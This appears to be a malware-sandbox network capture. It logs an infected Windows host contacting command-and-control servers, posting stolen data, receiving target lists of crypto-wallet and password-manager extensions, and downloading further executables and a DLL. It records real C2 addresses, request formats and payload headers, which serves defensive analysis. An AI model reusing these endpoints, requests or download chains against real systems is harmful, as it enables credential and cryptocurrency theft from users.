Nov 2, 2024 07:16:30.235177040 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 2, 2024 07:16:30.235188961 CET	224	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxw
Nov 2, 2024 07:16:30.235268116 CET	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Nov 2, 2024 07:16:30.235280991 CET	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Nov 2, 2024 07:16:30.235292912 CET	424	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Nov 2, 2024 07:16:30.235507011 CET	1236	IN	Data Raw: 5a 32 70 76 5a 33 42 76 61 57 52 6c 61 6d 52 6c 62 57 64 76 62 32 4e 6f 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 Data Ascii: Z2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25
Nov 2, 2024 07:16:30.235524893 CET	516	IN	Data Raw: 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 Data Ascii: b2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFd
Nov 2, 2024 07:16:30.250269890 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 30 35 38 36 32 32 37 36 62 63 32 31 39 31 61 66 65 34 66 36 62 64 65 39 32 36 36 66 31 61 64 63 31 32 34 39 34 66 37 37 66 35 34 62 37 61 37 62 30 39 63 36 38 66 61 65 35 34 36 39 63 65 38 65 65 64 38 32 66 38 39 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="token"305862276bc2191afe4f6bde9266f1adc12494f77f54b7a7b09c68fae5469ce8eed82f89------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="message"fplugins------HDGIJJDGCBKFIDHIEBKE--
Nov 2, 2024 07:16:30.537338972 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:30 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 2, 2024 07:16:30.624567986 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGH Host: 185.215.113.206 Content-Length: 6631 Connection: Keep-Alive Cache-Control: no-cache
Nov 2, 2024 07:16:30.624568939 CET	6631	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 30 35 38 36 32 Data Ascii: ------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="token"305862276bc2191afe4f6bde9266f1adc12494f77f54b7a7b09c68fae5469ce8eed82f89------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 2, 2024 07:16:31.434533119 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 2, 2024 07:16:31.750555992 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 2, 2024 07:16:32.035691023 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 2, 2024 07:16:32.035731077 CET	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	63931	185.215.113.43	80	5844	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:32.133558035 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 33 34 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003345001&unit=246122658369
Nov 2, 2024 07:16:33.062417984 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Nov 2024 06:16:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	63937	185.215.113.16	80	5844	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:33.086041927 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 2, 2024 07:16:34.038794994 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Nov 2024 06:16:33 GMT Content-Type: application/octet-stream Content-Length: 2866688 Last-Modified: Sat, 02 Nov 2024 05:02:08 GMT Connection: keep-alive ETag: "6725b250-2bbe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2c 00 00 04 00 00 45 06 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ , `@ `,E,`Ui` @ @.rsrc`2@.idata 8@krwtsfss`+^+:@qssevqjd ,+@.taggant@ ,"+@
Nov 2, 2024 07:16:34.038806915 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:34.038836002 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:34.038846970 CET	12	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:34.038889885 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:34.038899899 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:34.038949966 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:34.038960934 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:34.038973093 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:34.038995981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:34.043761015 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	63979	185.215.113.16	80	1236	C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:39.235203028 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 2, 2024 07:16:40.185719013 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Nov 2024 06:16:40 GMT Content-Type: application/octet-stream Content-Length: 2866688 Last-Modified: Sat, 02 Nov 2024 05:02:10 GMT Connection: keep-alive ETag: "6725b252-2bbe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2c 00 00 04 00 00 45 06 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ , `@ `,E,`Ui` @ @.rsrc`2@.idata 8@krwtsfss`+^+:@qssevqjd ,+@.taggant@ ,"+@
Nov 2, 2024 07:16:40.185808897 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:40.185820103 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:40.185837030 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:40.185847998 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:40.185858965 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:40.185889959 CET	948	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:40.185956955 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:40.186000109 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:40.186009884 CET	1236	IN	Data Raw: dc a2 91 e7 5c c6 cc 03 c4 e5 03 ba 07 c9 cf f8 6c 4b cc bd c2 b9 dd 8b fc 75 df e2 13 86 c4 15 c7 ac 70 2d 0c ce d7 d9 d6 7b e2 a5 c8 7e ce 77 a3 d1 d4 20 62 77 c9 c9 47 7d c3 37 e5 51 0a e2 f0 93 cc 90 0c b3 36 e8 2b a2 fe cc c2 03 d9 b8 cf 6e Data Ascii: \lKup-{~w bwG}7Q6+nB<E1}Os4Cst4C3sDgKH15ds`bl}.&Dg85p31j]w~?,MQ$Ely
Nov 2, 2024 07:16:40.191282034 CET	1236	IN	Data Raw: 05 98 5c 56 b0 7a ef f6 ea 85 e5 f8 f4 ba 11 d4 15 f5 59 d6 34 95 05 48 f6 97 15 2a 23 12 4e 60 7d ba 10 06 68 92 e4 66 e3 93 44 a1 87 07 df 17 0f 23 d1 f5 1b 5b 04 ae d8 c1 df 7f f7 3a 13 4c a8 c6 0b e3 89 b9 10 75 0e ea 90 97 b2 32 16 fa 7e b9 Data Ascii: \VzY4H*#N`}hfD#[:Lu2~QieNgG]a@4J]<KmU2PVfD^e{%qYYj#i@i(W?.[T!<Y0d7T9B%&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	64006	185.215.113.43	80	5844	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:43.118263960 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 33 34 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003346001&unit=246122658369
Nov 2, 2024 07:16:44.068114996 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Nov 2024 06:16:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	64007	34.107.221.82	80	6864	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:43.581285000 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
